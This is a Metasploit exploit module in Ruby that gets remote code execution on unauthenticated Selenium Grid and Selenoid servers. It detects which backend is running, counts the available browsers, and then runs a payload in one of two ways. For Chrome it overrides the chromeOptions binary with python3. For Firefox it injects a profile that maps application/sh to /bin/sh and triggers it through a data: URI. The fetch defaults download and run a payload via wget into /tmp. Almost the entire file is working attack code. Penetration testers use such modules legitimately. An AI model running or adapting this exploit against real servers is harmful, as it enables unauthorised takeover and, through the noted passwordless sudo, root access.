Files
2026-04-14 10:17:04 +02:00

307 lines
11 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Module::Deprecated
moved_from 'exploit/linux/http/selenium_greed_chrome_rce_cve_2022_28108'
moved_from 'exploit/linux/http/selenium_greed_firefox_rce_cve_2022_28108'
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Payload::Python
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Selenium Grid/Selenoid Unauthenticated RCE',
'Description' => %q{
Selenium Grid and Selenoid expose a WebDriver API that allows creating
browser sessions with arbitrary capabilities. When deployed without
authentication (the default for both), an attacker can achieve remote
code execution through two browser-specific techniques:
For Chrome, the goog:chromeOptions binary field can be set to an
arbitrary executable such as /usr/bin/python3, since ChromeDriver does
not validate it. This was fixed in Selenium Grid 4.11.0 via the
stereotype capabilities merge. All Selenoid versions remain vulnerable.
For Firefox, a custom profile containing a malicious MIME handler that
maps application/sh to /bin/sh can be injected via moz:firefoxOptions.
Navigating to a data: URI with that content type triggers shell
execution. This technique has never been patched and works on all
Selenium Grid versions including the latest release.
The module auto-detects available browsers and selects the best attack
vector. Firefox is preferred as it works on all Grid versions.
The default Docker images run as seluser/selenium with passwordless
sudo, allowing trivial privilege escalation to root.
},
'Author' => [
'Jon Stratton',
'Wiz Research',
'Takahiro Yokoyama',
'Valentin Lobstein <chocapikk[at]leakix.net>'
],
'License' => MSF_LICENSE,
'References' => [
['URL', 'https://www.wiz.io/blog/seleniumgreed-cryptomining-exploit-attack-flow-remediation-steps'],
['URL', 'https://www.selenium.dev/blog/2024/protecting-unsecured-selenium-grid/'],
['URL', 'https://github.com/SeleniumHQ/selenium/issues/9526'],
['URL', 'https://github.com/JonStratton/selenium-node-takeover-kit/tree/master'],
['EDB', '49915'],
['CWE', '306']
],
'Platform' => %w[python unix linux],
'Arch' => [ARCH_PYTHON, ARCH_CMD],
'Payload' => {},
'Targets' => [
[
'Python In-Memory',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
],
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD,
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET',
'FETCH_DELETE' => true,
'FETCH_WRITABLE_DIR' => '/tmp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2021-05-28',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
Opt::RPORT(4444),
OptString.new('TARGETURI', [true, 'Base path to Selenium Grid or Selenoid', '/']),
OptEnum.new('BROWSER', [true, 'Browser to exploit (auto detects and picks best vector)', 'auto', %w[auto firefox chrome]])
])
end
def check
@backend = detect_backend
return CheckCode::Unknown('No response from target') unless @backend
@browsers = enumerate_browsers
return CheckCode::Appears("#{@backend[:message]} (all versions vulnerable)") if selenoid?
check_grid
end
def exploit
@backend ||= detect_backend
@browsers ||= enumerate_browsers
browser = select_browser
fail_with(Failure::NoTarget, 'No exploitable browser found on target') unless browser
send("exploit_#{browser}")
end
private
def selenoid?
@backend&.dig(:type) == :selenoid
end
def session_path
normalize_uri(target_uri.path, selenoid? ? 'wd/hub/session' : 'session')
end
def grid_version
nodes = @backend&.dig(:value, 'nodes')
return unless nodes.is_a?(Array) && !nodes.empty?
version_raw = nodes.first['version']
return unless version_raw
version_raw.split(/\s/).first
end
def chrome_vuln?
return true if selenoid?
ver = grid_version
ver && Rex::Version.new(ver) < Rex::Version.new('4.11.0') && @browsers.include?('chrome')
end
def detect_backend
%w[status wd/hub/status].each do |path|
res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, path))
next unless res&.code == 200
value = res.get_json_document['value']
next unless value.is_a?(Hash) && value['message'].is_a?(String)
msg = value['message'].downcase
return { type: :selenoid, message: value['message'], value: value } if msg.include?('selenoid')
return { type: :grid, message: value['message'], value: value } if msg.include?('selenium grid')
end
nil
end
def enumerate_browsers
return [] unless @backend
return selenoid_browsers if selenoid?
grid_browsers
end
def selenoid_browsers
browsers = @backend[:value]['browsers']
return %w[chrome firefox] unless browsers.is_a?(Hash)
browsers.keys.map(&:downcase)
end
def grid_browsers
nodes = @backend[:value]['nodes']
return [] unless nodes.is_a?(Array)
nodes.flat_map { |n| (n['slots'] || []).map { |s| s.dig('stereotype', 'browserName')&.downcase } }.compact.uniq
end
def check_grid
ver_str = grid_version
return CheckCode::Detected('Selenium Grid detected but could not determine version') unless ver_str
return CheckCode::Appears("Selenium Grid #{ver_str} with Firefox (all versions vulnerable to profile handler)") if @browsers.include?('firefox')
return CheckCode::Appears("Selenium Grid #{ver_str} with Chrome (vulnerable to binary override)") if chrome_vuln?
return CheckCode::Safe("Selenium Grid #{ver_str} - Chrome patched (stereotype merge), no Firefox available") if @browsers.include?('chrome')
CheckCode::Detected("Selenium Grid #{ver_str} - no exploitable browsers found")
end
def select_browser
choice = datastore['BROWSER']
if choice != 'auto'
print_warning("#{choice} not available on target (found: #{@browsers.join(', ')})") unless @browsers.empty? || @browsers.include?(choice)
return choice
end
if @browsers.include?('firefox')
print_status('Auto-selected Firefox (profile handler - works on all Grid versions)')
return 'firefox'
end
if @browsers.include?('chrome') && chrome_vuln?
print_status('Auto-selected Chrome (binary override)')
return 'chrome'
end
print_warning("Chrome binary override patched on Grid #{grid_version}, no Firefox available") if @browsers.include?('chrome')
nil
end
def create_session(body)
send_request_cgi('method' => 'POST', 'uri' => session_path, 'ctype' => 'application/json', 'data' => body)
end
def cleanup_session(session_id)
res = send_request_cgi('method' => 'DELETE', 'uri' => normalize_uri(session_path, session_id), 'ctype' => 'application/json')
print_status(res ? "Deleted session #{session_id}" : "Could not delete session #{session_id}. It may need to expire.")
rescue StandardError
nil
end
def exploit_chrome
body = {
'capabilities' => {
'alwaysMatch' => {
'browserName' => 'chrome',
'goog:chromeOptions' => { 'binary' => '/usr/bin/python3', 'args' => ["-c#{build_python_payload}"] }
}
}
}.to_json
print_status('Sending Chrome session request with binary override...')
res = create_session(body)
return print_warning('No response received (expected - Python exits after execution)') unless res
return print_good('Payload executed (server returned 500 as expected)') if res.code == 500
fail_with(Failure::UnexpectedReply, "Unexpected HTTP #{res.code}") unless res.code == 200
json = res.get_json_document
return print_good("Payload executed (Chrome crash expected: #{json['value']['message']&.slice(0, 80)}...)") if json.dig('value', 'error')
session_id = json.dig('value', 'sessionId')
return unless session_id
print_warning("Session #{session_id} created but binary override may have been ignored")
cleanup_session(session_id)
end
def build_python_payload
inner = target['Arch'] == ARCH_PYTHON ? payload.encoded : "os.system(#{payload.encoded.inspect})"
py_create_exec_stub("import os,time\npid=os.fork()\nif pid==0:\n os.setsid()\n #{inner}\nelse:\n time.sleep(300)")
end
def exploit_firefox
encoded_profile = build_malicious_profile
body = {
'desiredCapabilities' => { 'browserName' => 'firefox', 'firefox_profile' => encoded_profile },
'capabilities' => { 'firstMatch' => [{ 'browserName' => 'firefox', 'moz:firefoxOptions' => { 'profile' => encoded_profile } }] }
}.to_json
print_status('Creating Firefox session with malicious profile...')
res = create_session(body)
fail_with(Failure::UnexpectedReply, 'No response when creating session') unless res
session_id = res.get_json_document.dig('value', 'sessionId') || res.get_json_document['sessionId']
fail_with(Failure::UnexpectedReply, 'Failed to create Firefox session') unless session_id
print_status("Session created: #{session_id}")
cmd = payload.encoded
cmd = "echo -n #{Rex::Text.encode_base64(cmd)} | base64 -d | python3 &" if target['Arch'] == ARCH_PYTHON
script = "#{cmd}\n"
fetch_dir = datastore['FETCH_WRITABLE_DIR'] || '/tmp'
fetch_file = datastore['FETCH_FILENAME']
register_file_for_cleanup("#{fetch_dir}/#{fetch_file}") if fetch_file
print_status('Navigating to data: URI to trigger handler...')
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, selenoid? ? 'wd/hub' : '', "session/#{session_id}/url"),
'ctype' => 'application/json',
'data' => { 'url' => "data:application/sh;charset=utf-16le;base64,#{Rex::Text.encode_base64(script)}" }.to_json
)
cleanup_session(session_id)
end
def build_malicious_profile
stringio = Zip::OutputStream.write_buffer do |io|
io.put_next_entry('handlers.json')
io.write({
'defaultHandlersVersion' => { 'en-US' => 4 },
'mimeTypes' => { 'application/sh' => { 'action' => 2, 'handlers' => [{ 'name' => 'sh', 'path' => '/bin/sh' }] } }
}.to_json)
end
stringio.rewind
Base64.strict_encode64(stringio.sysread)
end
end